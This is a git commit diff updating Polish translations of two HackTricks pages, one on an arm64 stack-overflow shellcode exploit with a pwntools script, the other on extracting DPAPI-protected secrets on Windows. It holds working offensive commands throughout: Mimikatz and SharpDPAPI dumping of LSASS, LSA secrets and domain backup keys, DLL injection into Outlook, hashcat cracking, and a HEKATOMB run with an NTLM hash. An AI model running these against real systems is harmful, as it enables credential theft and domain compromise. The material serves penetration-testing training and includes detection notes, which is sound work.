Translated ['src/windows-hardening/windows-local-privilege-escalation/dp

This commit is contained in:
Translator 2025-09-05 19:01:04 +00:00
parent 03ed4286fb
commit b03efc7d6f
2 changed files with 101 additions and 87 deletions

View File

@ -2,14 +2,15 @@
{{#include ../../../banners/hacktricks-training.md}}
Znajdź wprowadzenie do arm64 w:
Wprowadzenie do arm64 znajdziesz w:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
## Code
## Linux
### Kod
```c
#include <stdio.h>
#include <unistd.h>
@ -28,15 +29,15 @@ Kompiluj bez pie, canary i nx:
```bash
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
```
## Brak ASLR i brak canary - Stack Overflow
### Brak ASLR i brak canary - Stack Overflow
Aby zatrzymać ASLR, wykonaj:
Aby wyłączyć ASLR, wykonaj:
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
Aby uzyskać [**offset of the bof sprawdź ten link**](../ret2win/ret2win-arm64.md#finding-the-offset).
Aby uzyskać [**offset of the bof check this link**](../ret2win/ret2win-arm64.md#finding-the-offset).
Eksploatacja:
Exploit:
```python
from pwn import *
@ -67,8 +68,21 @@ p.send(payload)
# Drop to an interactive session
p.interactive()
```
Jedyną "skomplikowaną" rzeczą do znalezienia tutaj byłby adres na stosie do wywołania. W moim przypadku wygenerowałem exploit z adresem znalezionym za pomocą gdb, ale potem, gdy go wykorzystałem, nie zadziałał (ponieważ adres stosu trochę się zmienił).
Jedyną „skomplikowaną” rzeczą do znalezienia tutaj byłby adres w stack do wywołania. W moim przypadku wygenerowałem exploit z adresem znalezionym za pomocą gdb, ale przy eksploatacji nie zadziałało (ponieważ adres stacka trochę się zmienił).
Otworzyłem wygenerowany **plik `core`** (`gdb ./bog ./core`) i sprawdziłem rzeczywisty adres początku shellcode.
## macOS
> [!TIP]
> Nie da się wyłączyć NX w macOS, ponieważ na arm64 ten tryb jest zaimplementowany na poziomie sprzętowym, więc nie można go wyłączyć — w związku z tym nie znajdziesz przykładów ze shellcode w stacku w macOS.
Sprawdź przykład ret2win na macOS w:
{{#ref}}
../ret2win/ret2win-arm64.md
{{#endref}}
Otworzyłem wygenerowany **`core` file** (`gdb ./bog ./core`) i sprawdziłem rzeczywisty adres początku shellcode.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,38 +1,38 @@
# DPAPI - Wyodrębnianie haseł
# DPAPI - Ekstrakcja haseł
{{#include ../../banners/hacktricks-training.md}}
## Czym jest DPAPI
## Co to jest DPAPI
Data Protection API (DPAPI) jest głównie wykorzystywane w systemie Windows do **symetrycznego szyfrowania asymetrycznych kluczy prywatnych**, wykorzystując jako istotne źródło entropii sekrety użytkownika lub systemu. Podejście to upraszcza szyfrowanie dla deweloperów, pozwalając im szyfrować dane za pomocą klucza wyprowadzonego z danych logowania użytkownika lub, w przypadku szyfrowania systemowego, z sekretów uwierzytelniania domeny, dzięki czemu deweloperzy nie muszą sami zarządzać ochroną klucza szyfrującego.
The Data Protection API (DPAPI) jest wykorzystywane w systemie Windows głównie do **symetrycznego szyfrowania kluczy prywatnych asymetrycznych**, wykorzystując jako istotne źródło entropii sekrety użytkownika lub systemu. Podejście to upraszcza szyfrowanie dla deweloperów, pozwalając im szyfrować dane przy użyciu klucza pochodzącego z sekretów logowania użytkownika lub, w przypadku szyfrowania systemowego, z sekretów uwierzytelniania domeny systemu, dzięki czemu deweloperzy nie muszą sami zarządzać ochroną klucza szyfrującego.
Najczęstszym sposobem użycia DPAPI są funkcje **`CryptProtectData` i `CryptUnprotectData`**, które pozwalają aplikacjom bezpiecznie szyfrować i odszyfrowywać dane w kontekście sesji procesu aktualnie zalogowanego użytkownika. Oznacza to, że zaszyfrowane dane mogą być odszyfrowane tylko przez tego samego użytkownika lub system, który je zaszyfrował.
Najczęstszym sposobem użycia DPAPI są funkcje **`CryptProtectData` i `CryptUnprotectData`**, które pozwalają aplikacjom na bezpieczne szyfrowanie i odszyfrowywanie danych w kontekście sesji aktualnie zalogowanego procesu. Oznacza to, że zaszyfrowane dane mogą być odszyfrowane tylko przez tego samego użytkownika lub system, który je zaszyfrował.
Ponadto te funkcje akceptują również parametr **`entropy`**, który jest używany podczas szyfrowania i deszyfrowania, zatem aby odszyfrować coś zaszyfrowanego z użyciem tego parametru, musisz dostarczyć tę samą wartość entropy, która była użyta podczas szyfrowania.
Dodatkowo te funkcje akceptują również **`entropy` parameter**, który będzie użyty podczas szyfrowania i odszyfrowywania, dlatego aby odszyfrować coś zaszyfrowanego z użyciem tego parametru, musisz dostarczyć tę samą wartość entropii, która była użyta podczas szyfrowania.
### Generowanie klucza użytkownika
DPAPI generuje unikalny klucz (nazywany **`pre-key`**) dla każdego użytkownika na podstawie jego poświadczeń. Ten klucz jest wyprowadzany z hasła użytkownika i innych czynników, a algorytm zależy od typu użytkownika, lecz kończy się poprzez SHA1. Na przykład, dla użytkowników domenowych, **zależy on od NTLM hash użytkownika**.
DPAPI generuje unikalny klucz (zwany **`pre-key`**) dla każdego użytkownika na podstawie jego poświadczeń. Klucz ten jest pochodną hasła użytkownika i innych czynników, a algorytm zależy od typu użytkownika, ale końcowo jest to SHA1. Na przykład, dla użytkowników domenowych, **zależy od NTLM hash użytkownika**.
To jest szczególnie interesujące, ponieważ jeśli atakujący może uzyskać hash hasła użytkownika, może:
To jest szczególnie interesujące, ponieważ jeśli attacker może uzyskać hash hasła użytkownika, może:
- **Odszyfrować dowolne dane zaszyfrowane przy użyciu DPAPI** kluczem tego użytkownika bez potrzeby kontaktowania się z jakimkolwiek API
- Spróbować **złamać hasło** offline, próbując wygenerować prawidłowy klucz DPAPI
- **Decrypt any data that was encrypted using DPAPI** z użyciem klucza tego użytkownika bez potrzeby kontaktowania się z API
- Spróbować **crack the password** offline, próbując wygenerować prawidłowy DPAPI key
Co więcej, za każdym razem gdy użytkownik szyfruje jakieś dane za pomocą DPAPI, generowany jest nowy **master key**. To właśnie ten master key jest faktycznie używany do szyfrowania danych. Każdemu master key przypisywany jest **GUID** (Globally Unique Identifier), który go identyfikuje.
Ponadto za każdym razem, gdy użytkownik szyfruje dane przy użyciu DPAPI, generowany jest nowy **master key**. Ten master key jest faktycznie używany do szyfrowania danych. Każdemu master key przypisany jest **GUID** (Globally Unique Identifier), który go identyfikuje.
Master key są przechowywane w katalogu **`%APPDATA%\Microsoft\Protect\<sid>\<guid>`**, gdzie `{SID}` to Security Identifier tego użytkownika. Master key jest przechowywany zaszyfrowany przez użytkownikowski **`pre-key`** oraz także przez **domain backup key** na potrzeby odzyskiwania (czyli ten sam klucz jest przechowywany zaszyfrowany dwukrotnie, dwoma różnymi sposobami).
Master keys są przechowywane w katalogu **`%APPDATA%\Microsoft\Protect\<sid>\<guid>`**, gdzie `{SID}` jest Security Identifier tego użytkownika. Master key jest przechowywany zaszyfrowany przez użytkownika **`pre-key`** oraz także przez **domain backup key** do celów odzyskiwania (więc ten sam klucz jest przechowywany zaszyfrowany 2 razy dwiema różnymi metodami).
Zauważ, że **domain key używany do zaszyfrowania master key znajduje się na domain controllers i nigdy się nie zmienia**, więc jeśli atakujący ma dostęp do domain controllera, może odzyskać domain backup key i odszyfrować master key wszystkich użytkowników w domenie.
Zauważ, że **domain key użyty do zaszyfrowania master key znajduje się na domain controllers i nigdy się nie zmienia**, więc jeśli attacker ma dostęp do domain controller, może odzyskać domain backup key i odszyfrować master keys wszystkich użytkowników w domenie.
Zaszyfrowane bloby zawierają w nagłówkach **GUID master key**, który został użyty do zaszyfrowania danych.
Zaszyfrowane bloby zawierają w nagłówkach **GUID master key**, który został użyty do zaszyfrowania danych wewnątrz.
> [!TIP]
> DPAPI encrypted blobs zaczynają się od **`01 00 00 00`**
> DPAPI encrypted blobs starts with **`01 00 00 00`**
Znajdź klucze główne:
Find master keys:
```bash
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
@ -47,35 +47,35 @@ This is what a bunch of Master Keys of a user will looks like:
### Machine/System key generation
To jest klucz używany przez maszynę do szyfrowania danych. Jest oparty na **DPAPI_SYSTEM LSA secret**, który jest specjalnym kluczem dostępnym tylko dla konta SYSTEM. Ten klucz służy do szyfrowania danych, które muszą być dostępne dla samego systemu, takich jak poświadczenia na poziomie maszyny lub sekretów systemowych.
This is key used for the machine to encrypt data. It's based on the **DPAPI_SYSTEM LSA secret**, which is a special key that only the SYSTEM user can access. This key is used to encrypt data that needs to be accessible by the system itself, such as machine-level credentials or system-wide secrets.
Zwróć uwagę, że te klucze **nie mają domain backup**, więc są dostępne tylko lokalnie:
Note that these keys **nie mają kopii zapasowej domeny** so they are only accesisble locally:
- **Mimikatz** może uzyskać do niego dostęp, zrzucając LSA secrets za pomocą polecenia: `mimikatz lsadump::secrets`
- Sekret jest przechowywany w rejestrze, więc administrator mógłby **zmodyfikować uprawnienia DACL, aby uzyskać do niego dostęp**. Ścieżka w rejestrze to: `HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM`
- **Mimikatz** can access it dumping LSA secrets using the command: `mimikatz lsadump::secrets`
- The secret is stored inside the registry, so an administrator could **zmodyfikować uprawnienia DACL, aby uzyskać do niego dostęp**. The registry path is: `HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM`
### Protected Data by DPAPI
Wśród danych osobistych chronionych przez DPAPI znajdują się:
Among the personal data protected by DPAPI are:
- Windows creds
- Internet Explorer i Google Chrome — hasła oraz dane autouzupełniania
- Hasła do kont e-mail i wewnętrznych FTP używane przez aplikacje takie jak Outlook i Windows Mail
- Hasła do udostępnionych folderów, zasobów, sieci bezprzewodowych oraz Windows Vault, w tym klucze szyfrujące
- Hasła do połączeń z pulpitem zdalnym, .NET Passport oraz prywatne klucze używane do różnych celów szyfrujących i uwierzytelniających
- Hasła sieciowe zarządzane przez Credential Manager oraz dane osobiste w aplikacjach używających CryptProtectData, takich jak Skype, MSN messenger i inne
- Zaszyfrowane bloby wewnątrz rejestru
- Internet Explorer and Google Chrome's passwords and auto-completion data
- E-mail and internal FTP account passwords for applications like Outlook and Windows Mail
- Passwords for shared folders, resources, wireless networks, and Windows Vault, including encryption keys
- Passwords for remote desktop connections, .NET Passport, and private keys for various encryption and authentication purposes
- Network passwords managed by Credential Manager and personal data in applications using CryptProtectData, such as Skype, MSN messenger, and more
- Encrypted blobs inside the register
- ...
Do danych chronionych na poziomie systemu należą:
- Hasła do WiFi
- Hasła zaplanowanych zadań
System protected data includes:
- Wifi passwords
- Scheduled task passwords
- ...
### Master key extraction options
- Jeśli użytkownik ma uprawnienia domain admin, może uzyskać dostęp do **domain backup key**, aby odszyfrować wszystkie master keys użytkowników w domenie:
- If the user has domain admin privileges, they can access the **domain backup key** to decrypt all user master keys in the domain:
```bash
# Mimikatz
lsadump::backupkeys /system:<DOMAIN CONTROLLER> /export
@ -83,17 +83,17 @@ lsadump::backupkeys /system:<DOMAIN CONTROLLER> /export
# SharpDPAPI
SharpDPAPI.exe backupkey [/server:SERVER.domain] [/file:key.pvk]
```
- Z uprawnieniami administratora lokalnego możliwe jest **access the LSASS memory** w celu wydobycia DPAPI master keys wszystkich zalogowanych użytkowników oraz SYSTEM key.
- Mając uprawnienia administratora lokalnego, można **uzyskać dostęp do pamięci LSASS** w celu wyodrębnienia kluczy głównych DPAPI wszystkich zalogowanych użytkowników oraz klucza SYSTEM.
```bash
# Mimikatz
mimikatz sekurlsa::dpapi
```
- Jeśli użytkownik ma uprawnienia administratora lokalnego, może uzyskać dostęp do **DPAPI_SYSTEM LSA secret** w celu odszyfrowania kluczy głównych maszyny:
- Jeśli użytkownik ma uprawnienia administratora lokalnego, może uzyskać dostęp do **DPAPI_SYSTEM LSA secret**, aby odszyfrować klucze główne maszyny:
```bash
# Mimikatz
lsadump::secrets /system:DPAPI_SYSTEM /export
```
- Jeśli password lub hash NTLM użytkownika jest znany, możesz **bezpośrednio odszyfrować master keys tego użytkownika**:
- Jeśli hasło lub hash NTLM użytkownika jest znane, możesz **bezpośrednio odszyfrować klucze główne użytkownika**:
```bash
# Mimikatz
dpapi::masterkey /in:<C:\PATH\MASTERKEY_LOCATON> /sid:<USER_SID> /password:<USER_PLAINTEXT> /protected
@ -101,7 +101,7 @@ dpapi::masterkey /in:<C:\PATH\MASTERKEY_LOCATON> /sid:<USER_SID> /password:<USER
# SharpDPAPI
SharpDPAPI.exe masterkeys /password:PASSWORD
```
- Jeśli jesteś w sesji jako użytkownik, możliwe jest poproszenie DC o **backup key to decrypt the master keys using RPC**. Jeśli jesteś local admin i użytkownik jest zalogowany, możesz w tym celu **steal his session token**:
- Jeśli jesteś w sesji jako user, możliwe jest poproszenie DC o **backup key to decrypt the master keys using RPC**. Jeśli jesteś local admin i user jest zalogowany, możesz w tym celu **steal his session token**:
```bash
# Mimikatz
dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc
@ -109,7 +109,7 @@ dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID"
# SharpDPAPI
SharpDPAPI.exe masterkeys /rpc
```
## Lista Vault
## Wyświetl Vault
```bash
# From cmd
vaultcmd /listcreds:"Windows Credentials" /all
@ -117,25 +117,25 @@ vaultcmd /listcreds:"Windows Credentials" /all
# From mimikatz
mimikatz vault::list
```
## Dostęp do zaszyfrowanych danych DPAPI
## Uzyskaj dostęp do zaszyfrowanych danych DPAPI
### Znajdź zaszyfrowane dane DPAPI
Typowe **chronione pliki** użytkowników znajdują się w:
Typowe **chronione pliki** użytkownika znajdują się w:
- `C:\Users\username\AppData\Roaming\Microsoft\Protect\*`
- `C:\Users\username\AppData\Roaming\Microsoft\Credentials\*`
- `C:\Users\username\AppData\Roaming\Microsoft\Vault\*`
- Sprawdź również zamianę `\Roaming\` na `\Local\` w powyższych ścieżkach.
- Sprawdź także zamianę `\Roaming\` na `\Local\` w powyższych ścieżkach.
Przykłady enumeracji:
Enumeration examples:
```bash
dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
```
[**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) może znaleźć zaszyfrowane DPAPI blobs w systemie plików, rejestrze i w B64 blobs:
[**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) może znaleźć zaszyfrowane DPAPI bloby w systemie plików, rejestrze i w blobach B64:
```bash
# Search blobs in the registry
search /type:registry [/path:HKLM] # Search complete registry by default
@ -150,11 +150,11 @@ search /type:file /path:C:\path\to\file
# Search a blob inside B64 encoded data
search /type:base64 [/base:<base64 string>]
```
Zauważ, że [**SharpChrome**](https://github.com/GhostPack/SharpDPAPI) (z tego samego repo) może być użyty do odszyfrowania za pomocą DPAPI wrażliwych danych, takich jak cookies.
Zauważ, że [**SharpChrome**](https://github.com/GhostPack/SharpDPAPI) (z tego samego repo) może być użyty do odszyfrowania wrażliwych danych przy użyciu DPAPI, takich jak cookies.
### Klucze dostępu i dane
- **Użyj SharpDPAPI** aby uzyskać poświadczenia z plików zaszyfrowanych DPAPI z bieżącej sesji:
- **Użyj SharpDPAPI** aby pobrać poświadczenia z plików zaszyfrowanych DPAPI z bieżącej sesji:
```bash
# Decrypt user data
## Note that 'triage' is like running credentials, vaults, rdg and certificates
@ -163,7 +163,7 @@ SharpDPAPI.exe [credentials|vaults|rdg|keepass|certificates|triage] /unprotect
# Decrypt machine data
SharpDPAPI.exe machinetriage
```
- **Pobierz informacje o poświadczeniach** takie jak zaszyfrowane dane i guidMasterKey.
- **Pobierz informacje o credentials** takie jak zaszyfrowane dane i guidMasterKey.
```bash
mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7
@ -175,7 +175,7 @@ pbData : b8f619[...snip...]b493fe
```
- **Access masterkeys**:
Zdeszyfruj masterkey użytkownika żądającego **domain backup key** za pomocą RPC:
Odszyfruj masterkey użytkownika żądającego **domain backup key** przy użyciu RPC:
```bash
# Mimikatz
dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc
@ -183,7 +183,7 @@ dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID"
# SharpDPAPI
SharpDPAPI.exe masterkeys /rpc
```
Narzędzie **SharpDPAPI** obsługuje także następujące argumenty do odszyfrowania masterkey (zwróć uwagę, że można użyć `/rpc`, aby uzyskać klucz kopii zapasowej domeny, `/password`, aby użyć hasła w postaci jawnej, lub `/pvk`, aby wskazać plik prywatnego klucza domeny DPAPI...):
Narzędzie **SharpDPAPI** obsługuje także następujące argumenty do odszyfrowania klucza głównego (zwróć uwagę, że można użyć `/rpc`, aby uzyskać klucz kopii zapasowej domeny, `/password`, aby użyć hasła w postaci jawnej, lub `/pvk`, aby wskazać plik prywatnego klucza domeny DPAPI...):
```
/target:FILE/folder - triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys)
/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
@ -195,7 +195,7 @@ Narzędzie **SharpDPAPI** obsługuje także następujące argumenty do odszyfrow
/server:SERVER - triage a remote server, assuming admin access
/hashes - output usermasterkey file 'hashes' in JTR/Hashcat format (no decryption)
```
- **Decrypt danych przy użyciu masterkey**:
- **Odszyfruj dane przy użyciu masterkey**:
```bash
# Mimikatz
dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
@ -203,7 +203,7 @@ dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
# SharpDPAPI
SharpDPAPI.exe /target:<FILE/folder> /ntlm:<NTLM_HASH>
```
Narzędzie **SharpDPAPI** obsługuje również te argumenty do odszyfrowywania `credentials|vaults|rdg|keepass|triage|blob|ps` (zauważ, że można użyć `/rpc`, aby uzyskać klucz kopii zapasowej domeny, `/password`, aby użyć hasła jawnego, `/pvk`, aby wskazać plik prywatnego klucza DPAPI domeny, `/unprotect`, aby użyć sesji bieżącego użytkownika...):
Narzędzie **SharpDPAPI** obsługuje także te argumenty do deszyfrowania `credentials|vaults|rdg|keepass|triage|blob|ps` (zauważ, że można użyć `/rpc`, aby uzyskać klucz kopii zapasowej domeny, `/password`, aby użyć hasła jawnego, `/pvk`, aby wskazać plik prywatnego klucza domeny DPAPI, `/unprotect`, aby użyć bieżącej sesji użytkownika...):
```
Decryption:
/unprotect - force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands
@ -222,7 +222,7 @@ Targeting:
Note: must use with /pvk:KEY or /password:X
Note: not applicable to 'blob' or 'ps' commands
```
- Odszyfruj niektóre dane przy użyciu **bieżącej sesji użytkownika**:
- Odszyfruj dane przy użyciu **bieżącej sesji użytkownika**:
```bash
# Mimikatz
dpapi::blob /in:C:\path\to\encrypted\file /unprotect
@ -230,12 +230,11 @@ dpapi::blob /in:C:\path\to\encrypted\file /unprotect
# SharpDPAPI
SharpDPAPI.exe blob /target:C:\path\to\encrypted\file /unprotect
```
---
### Obsługa opcjonalnej entropii ("Third-party entropy")
### Obsługa opcjonalnej entropii ("entropia osób trzecich")
Niektóre aplikacje przekazują dodatkową wartość **entropy** do `CryptProtectData`. Bez tej wartości blob nie może zostać odszyfrowany, nawet jeśli znany jest prawidłowy masterkey. Uzyskanie entropii jest więc niezbędne przy atakowaniu poświadczeń chronionych w ten sposób (np. Microsoft Outlook, niektóre klienty VPN).
Niektóre aplikacje przekazują dodatkową wartość **entropii** do `CryptProtectData`. Bez tej wartości blob nie może zostać odszyfrowany, nawet jeśli znany jest poprawny masterkey. Uzyskanie tej entropii jest zatem niezbędne przy atakowaniu poświadczeń chronionych w ten sposób (np. Microsoft Outlook, niektóre klienty VPN).
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) to user-mode DLL, który hookuje funkcje DPAPI wewnątrz procesu docelowego i transparentnie rejestruje wszelką dostarczoną opcjonalną **entropy**. Uruchomienie EntropyCapture w trybie **DLL-injection** przeciwko procesom takim jak `outlook.exe` lub `vpnclient.exe` wygeneruje plik mapujący każdy bufor entropy do procesu wywołującego i blobu. Przechwyconą entropię można później przekazać do **SharpDPAPI** (`/entropy:`) lub **Mimikatz** (`/entropy:<file>`) w celu odszyfrowania danych.
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) to DLL w trybie użytkownika, który hookuje funkcje DPAPI wewnątrz procesu docelowego i przejrzyście zapisuje każdą dostarczoną opcjonalną entropię. Uruchomienie EntropyCapture w trybie **DLL-injection** przeciwko procesom takim jak `outlook.exe` lub `vpnclient.exe` spowoduje wygenerowanie pliku mapującego każdy bufor entropii do wywołującego procesu i blobu. Przechwyconą entropię można później przekazać do **SharpDPAPI** (`/entropy:`) lub **Mimikatz** (`/entropy:<file>`) w celu odszyfrowania danych.
```powershell
# Inject EntropyCapture into the current user's Outlook
InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll
@ -243,22 +242,21 @@ InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll
# Later decrypt a credential blob that required entropy
SharpDPAPI.exe blob /target:secret.cred /entropy:entropy.bin /ntlm:<hash>
```
### Łamanie masterkeyów offline (Hashcat & DPAPISnoop)
### Łamanie masterkeys offline (Hashcat & DPAPISnoop)
Microsoft wprowadził format masterkey **context 3** począwszy od Windows 10 v1607 (2016). `hashcat` v6.2.6 (grudzień 2023) dodał hash-modes **22100** (DPAPI masterkey v1 context ), **22101** (context 1) i **22102** (context 3), umożliwiając przyspieszone na GPU łamanie haseł użytkowników bezpośrednio z pliku masterkey. Atakujący mogą dlatego przeprowadzać ataki słownikowe lub brute-force bez interakcji z systemem celu.
Microsoft wprowadził format masterkey **context 3** zaczynając od Windows 10 v1607 (2016). `hashcat` v6.2.6 (December 2023) dodał hash-modes **22100** (DPAPI masterkey v1 context), **22101** (context 1) i **22102** (context 3), umożliwiając GPU-przyspieszone łamanie haseł użytkowników bezpośrednio z pliku masterkey. W związku z tym atakujący mogą przeprowadzać word-list lub brute-force bez interakcji z systemem docelowym.
`DPAPISnoop` (2024) automatyzuje proces:
`DPAPISnoop` (2024) automatyzuje ten proces:
```bash
# Parse a whole Protect folder, generate hashcat format and crack
DPAPISnoop.exe masterkey-parse C:\Users\bob\AppData\Roaming\Microsoft\Protect\<sid> --mode hashcat --outfile bob.hc
hashcat -m 22102 bob.hc wordlist.txt -O -w4
```
Narzędzie może także parsować Credential and Vault blobs, odszyfrowywać je za pomocą złamanych kluczy i eksportować hasła w postaci jawnej.
Narzędzie może również parsować Credential and Vault blobs, odszyfrowywać je przy użyciu złamanych kluczy i eksportować hasła w postaci jawnej.
### Dostęp do danych innej maszyny
W **SharpDPAPI and SharpChrome** możesz wskazać opcję **`/server:HOST`** aby uzyskać dostęp do danych zdalnej maszyny. Oczywiście musisz mieć dostęp do tej maszyny, a w poniższym przykładzie zakłada się, że **znany jest klucz szyfrowania kopii zapasowej domeny**:
W **SharpDPAPI and SharpChrome** możesz wskazać opcję **`/server:HOST`**, aby uzyskać dostęp do danych zdalnej maszyny. Oczywiście musisz mieć dostęp do tej maszyny, a w poniższym przykładzie zakłada się, że znany jest **domain backup encryption key**:
```bash
SharpDPAPI.exe triage /server:HOST /pvk:BASE64
SharpChrome cookies /server:HOST /pvk:BASE64
@ -267,49 +265,51 @@ SharpChrome cookies /server:HOST /pvk:BASE64
### HEKATOMB
[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) to narzędzie automatyzujące wyodrębnianie wszystkich użytkowników i komputerów z katalogu LDAP oraz wyodrębnianie klucza kopii zapasowej kontrolera domeny przez RPC. Skrypt następnie rozwiąże wszystkie adresy IP komputerów i wykona smbclient na wszystkich maszynach, aby pobrać wszystkie DPAPI bloby wszystkich użytkowników i odszyfrować wszystko przy użyciu klucza kopii zapasowej domeny.
[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) to narzędzie automatyzujące ekstrakcję wszystkich użytkowników i komputerów z katalogu LDAP oraz ekstrakcję klucza kopii zapasowej kontrolera domeny przez RPC. Skrypt następnie rozwiązuje adresy IP wszystkich komputerów i wykonuje smbclient na wszystkich maszynach, aby pobrać wszystkie DPAPI blobs wszystkich użytkowników i odszyfrować wszystko przy użyciu klucza kopii zapasowej kontrolera domeny.
`python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp`
Dzięki liście komputerów wyodrębnionej z LDAP możesz znaleźć każdą podsieć, nawet jeśli ich nie znałeś!
Z listy komputerów wyciągniętej z LDAP możesz odkryć każdą podsieć, nawet jeśli jej wcześniej nie znałeś!
### DonPAPI 2.x (2024-05)
[**DonPAPI**](https://github.com/login-securite/DonPAPI) potrafi automatycznie zrzucać sekrety chronione przez DPAPI. Wydanie 2.x wprowadziło:
[**DonPAPI**](https://github.com/login-securite/DonPAPI) potrafi automatycznie zrzucać sekrety chronione przez DPAPI. W wydaniu 2.x wprowadzono:
* Równoległe zbieranie blobów z setek hostów
* Parsowanie masterkeyów **context 3** oraz automatyczna integracja z Hashcat do łamania haseł
* Wsparcie dla szyfrowanych ciasteczek Chrome "App-Bound" (zob. następna sekcja)
* Nowy tryb **`--snapshot`** do wielokrotnego sondowania punktów końcowych i porównywania świeżo utworzonych blobów
* Parsowanie masterkeyów **context 3** oraz automatyczna integracja z Hashcat do łamania
* Wsparcie dla Chrome "App-Bound" zaszyfrowanych ciasteczek (zobacz następny rozdział)
* Nowy tryb **`--snapshot`** do cyklicznego sondowania endpointów i porównywania (diff) nowo utworzonych blobów
### DPAPISnoop
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) to parser w C# dla plików masterkey/credential/vault, który może wyprowadzać formaty Hashcat/JtR i opcjonalnie automatycznie wywoływać łamanie. W pełni obsługuje formaty machine i user masterkey do Windows 11 24H1.
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) to parser w C# dla plików masterkey/credential/vault, który potrafi generować formaty dla Hashcat/JtR i opcjonalnie automatycznie uruchamiać łamanie. W pełni wspiera formaty masterkeyów maszynowych i użytkownika aż do Windows 11 24H1.
## Typowe wykrycia
- Dostęp do plików w `C:\Users\*\AppData\Roaming\Microsoft\Protect\*`, `C:\Users\*\AppData\Roaming\Microsoft\Credentials\*` i innych katalogach związanych z DPAPI.
- Szczególnie z udziału sieciowego takiego jak **C$** lub **ADMIN$**.
- Szczególnie z udostępnienia sieciowego takiego jak **C$** lub **ADMIN$**.
- Użycie **Mimikatz**, **SharpDPAPI** lub podobnych narzędzi do dostępu do pamięci LSASS lub zrzutu masterkeyów.
- Zdarzenie **4662**: *An operation was performed on an object* można je skorelować z dostępem do obiektu **`BCKUPKEY`**.
- Zdarzenie **4662**: *Operacja została wykonana na obiekcie* może być skorelowane z dostępem do obiektu **`BCKUPKEY`**.
- Zdarzenie **4673/4674** gdy proces żąda *SeTrustedCredManAccessPrivilege* (Credential Manager)
---
### Luki 20232025 i zmiany w ekosystemie
### 2023-2025 luki i zmiany w ekosystemie
* **CVE-2023-36004 Windows DPAPI Secure Channel Spoofing** (listopad 2023). Atakujący z dostępem do sieci mógł nakłonić członka domeny do pobrania złośliwego klucza kopii zapasowej DPAPI, co umożliwia odszyfrowanie masterkeyów użytkowników. Załatane w listopadowej aktualizacji kumulacyjnej 2023 — administratorzy powinni upewnić się, że kontrolery domeny (DC) i stacje robocze mają wszystkie poprawki.
* **Chrome 127 “App-Bound” cookie encryption** (lipiec 2024) zastąpiło starszą ochronę opartą wyłącznie na DPAPI dodatkowym kluczem przechowywanym w **Credential Manager** użytkownika. Odszyfrowanie ciasteczek offline wymaga teraz zarówno DPAPI masterkey, jak i **GCM-wrapped app-bound key**. SharpChrome v2.3 i DonPAPI 2.x potrafią odzyskać dodatkowy klucz, gdy działają w kontekście użytkownika.
* **CVE-2023-36004 Windows DPAPI Secure Channel Spoofing** (listopad 2023). Atakujący z dostępem do sieci mógł nakłonić członka domeny do pobrania złośliwego klucza kopii zapasowej DPAPI, co umożliwiało odszyfrowanie user masterkeyów. Załatano to w listopadowej aktualizacji zbiorczej 2023 administratorzy powinni upewnić się, że DC i stacje robocze są w pełni załatane.
* **Chrome 127 “App-Bound” cookie encryption** (lipiec 2024) zastąpiło legacy ochronę opartą wyłącznie na DPAPI dodatkowym kluczem przechowywanym w **Credential Manager** użytkownika. Offline odszyfrowanie ciasteczek teraz wymaga zarówno DPAPI masterkey, jak i **GCM-wrapped app-bound key**. SharpChrome v2.3 i DonPAPI 2.x potrafią odzyskać dodatkowy klucz, gdy działają w kontekście użytkownika.
### Studium przypadku: Zscaler Client Connector niestandardowa entropia pochodząca z SID
Zscaler Client Connector przechowuje kilka plików konfiguracyjnych w `C:\ProgramData\Zscaler` (np. `config.dat`, `users.dat`, `*.ztc`, `*.mtt`, `*.mtc`, `*.mtp`). Każdy plik jest zaszyfrowany przy użyciu **DPAPI (Machine scope)**, ale dostawca dostarcza **niestandardową entropię**, która jest *obliczana w czasie wykonywania* zamiast być zapisana na dysku.
### Studium przypadku: Zscaler Client Connector niestandardowa entropia pochodząca od SID
